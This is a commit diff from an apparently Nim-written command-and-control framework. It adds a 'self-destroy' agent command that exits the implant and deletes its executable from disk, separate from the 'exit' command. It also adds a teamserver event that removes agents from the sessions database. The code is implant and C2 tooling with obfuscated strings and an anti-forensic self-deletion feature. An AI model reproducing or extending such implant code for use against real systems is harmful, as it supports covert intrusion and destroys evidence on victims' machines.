Separated 'exit' and 'self-destroy' and added functionality to remove agents from the teamserver to cleanup the sessions table.

src/client/core/websocket.nim

@@ -54,6 +54,16 @@ proc sendAgentTask*(connection: WsConnection, agentId: string, command: string,
     )
     connection.ws.sendEvent(event, connection.sessionKey)
 
+proc sendAgentRemove*(connection: WsConnection, agentId: string) = 
+    let event = Event(
+        eventType: CLIENT_AGENT_REMOVE, 
+        timestamp: now().toTime().toUnix(),
+        data: %*{
+            "agentId": agentId
+        }
+    )
+    connection.ws.sendEvent(event, connection.sessionKey)
+
 proc sendRemoveLoot*(connection: WsConnection, lootId: string) = 
     let event = Event(
         eventType: CLIENT_LOOT_REMOVE, 
@@ -73,3 +83,4 @@ proc sendGetLoot*(connection: WsConnection, lootId: string) =
         }
     )
     connection.ws.sendEvent(event, connection.sessionKey)
+

src/client/views/sessions.nim

@@ -193,6 +193,9 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
                 for i, agent in component.agents:
                     if not ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
                         newAgents.add(agent)
+                    else: 
+                        # Send message to team server to remove delete the agent from the database and stop it from re-appearing when the client is restarted
+                        connection.sendAgentRemove(agent.agentId)
 
                 component.agents = newAgents
                 ImGuiSelectionBasicStorage_Clear(component.selection)

src/common/types.nim

@@ -59,6 +59,7 @@ type
         CMD_ENABLE_PRIV = 22'u16
         CMD_DISABLE_PRIV = 23'u16
         CMD_EXIT = 24'u16
+        CMD_SELF_DESTROY = 25'u16
 
     StatusType* = enum 
         STATUS_COMPLETED = 0'u8
@@ -276,6 +277,7 @@ type
         CLIENT_LISTENER_STOP = 4'u8         # Stop a listener
         CLIENT_LOOT_REMOVE = 5'u8           # Remove loot on the team server
         CLIENT_LOOT_GET = 6'u8              # Request file/screenshot from the team server for preview or download
+        CLIENT_AGENT_REMOVE = 7'u8          # Delete agent from the team server database
 
         # Sent by team server
         CLIENT_PROFILE = 100'u8             # Team server profile and configuration 

src/modules/exit.nim

@@ -2,25 +2,35 @@ import ../common/[types, utils]
 
 # Define function prototype
 proc executeExit(ctx: AgentCtx, task: Task): TaskResult 
+proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult 
 
 # Module definition
 let commands* = @[
         Command(
             name: protect("exit"),
             commandType: CMD_EXIT,
-            description: protect("Exit the agent process."),
+            description: protect("Exit the agent."),
             example: protect("exit process"),
             arguments: @[
-                Argument(name: protect("exitType"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false),
+                Argument(name: protect("type"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false),
-                Argument(name: protect("selfDelete"), description: protect("Attempt to delete the binary within which is the agent was running from disk. Default: false"), argumentType: BOOL, isRequired: false),
             ],
             execute: executeExit
+        ),
+        Command(
+            name: protect("self-destroy"),
+            commandType: CMD_SELF_DESTROY,
+            description: protect("Exit the agent and delete the executable from disk."),
+            example: protect("self-destroy"),
+            arguments: @[
+            ],
+            execute: executeSelfDestroy
         )
     ] 
 
 # Implement execution functions
 when not defined(agent):
     proc executeExit(ctx: AgentCtx, task: Task): TaskResult = nil
+    proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult = nil 
 
 when defined(agent):
 
@@ -34,16 +44,20 @@ when defined(agent):
         try: 
             print "   [>] Exiting."
 
-            case task.argCount: 
+            if task.argCount == 0: 
-            of 0: 
                 exit()
-            of 1: 
-                let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
-                exit(exitType)
             else: 
                 let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data))
-                let selfDelete = cast[bool](task.args[1].data[0])
+                exit(exitType)
-                exit(exitType, selfDelete)
 
         except CatchableError as err:
             return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
+        
+    proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult =
+        try: 
+            print "   [>] Self-destroying."
+            exit(EXIT_PROCESS, true)
+
+        except CatchableError as err:
+            return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
+        

src/modules/manager.nim

@@ -22,7 +22,9 @@ proc registerCommands(commands: seq[Command]) {.discardable.} =
         manager.commandsByType[cmd.commandType] = cmd
         manager.commandsByName[cmd.name] = cmd 
 
-# Modules/commands
+#[
+    Modules/commands
+]# 
 
 import exit
 registerCommands(exit.commands)
@@ -101,6 +103,7 @@ proc getModules*(modules: uint32 = 0): seq[Module] =
 proc getCommands*(modules: uint32 = 0): seq[Command] = 
     # House-keeping 
     result.add(manager.commandsByType[CMD_EXIT])
+    result.add(manager.commandsByType[CMD_SELF_DESTROY])
 
     # Modules
     if modules == 0:

src/server/core/agent.nim

@@ -1,24 +0,0 @@
-import terminal, strformat, strutils, tables, system, parsetoml
-
-import ../core/logger
-import ../db/database
-import ../../common/types
-
-# Terminate agent and remove it from the database
-proc agentKill*(cq: Conquest, name: string) =
-
-    # Check if agent supplied via -n parameter exists in database
-    if not cq.dbAgentExists(name.toUpperAscii): 
-        cq.error(fmt"Agent {name.toUpperAscii} does not exist.")
-        return
-
-    # TODO: Stop the process of the agent on the target system
-    # TODO: Add flag to self-delete executable after killing agent
-
-    # Remove the agent from the database
-    if not cq.dbDeleteAgentByName(name.toUpperAscii): 
-        cq.error("Failed to terminate agent: ", getCurrentExceptionMsg())
-        return
-
-    cq.agents.del(name)
-    cq.success("Terminated agent ", fgYellow, styleBright, name.toUpperAscii, resetStyle, ".")

src/server/main.nim

@@ -96,6 +96,11 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
                 if payload.len() != 0: 
                     cq.client.sendAgentPayload(payload)
 
+            of CLIENT_AGENT_REMOVE: 
+                let agentId = event.data["agentId"].getStr()
+                discard cq.dbDeleteAgentByName(agentId)
+                cq.agents.del(agentId)
+
             of CLIENT_LOOT_REMOVE: 
                 if not cq.dbDeleteLootById(event.data["lootId"].getStr()): 
                     cq.client.sendEventlogItem(LOG_ERROR, "Failed to delete loot.")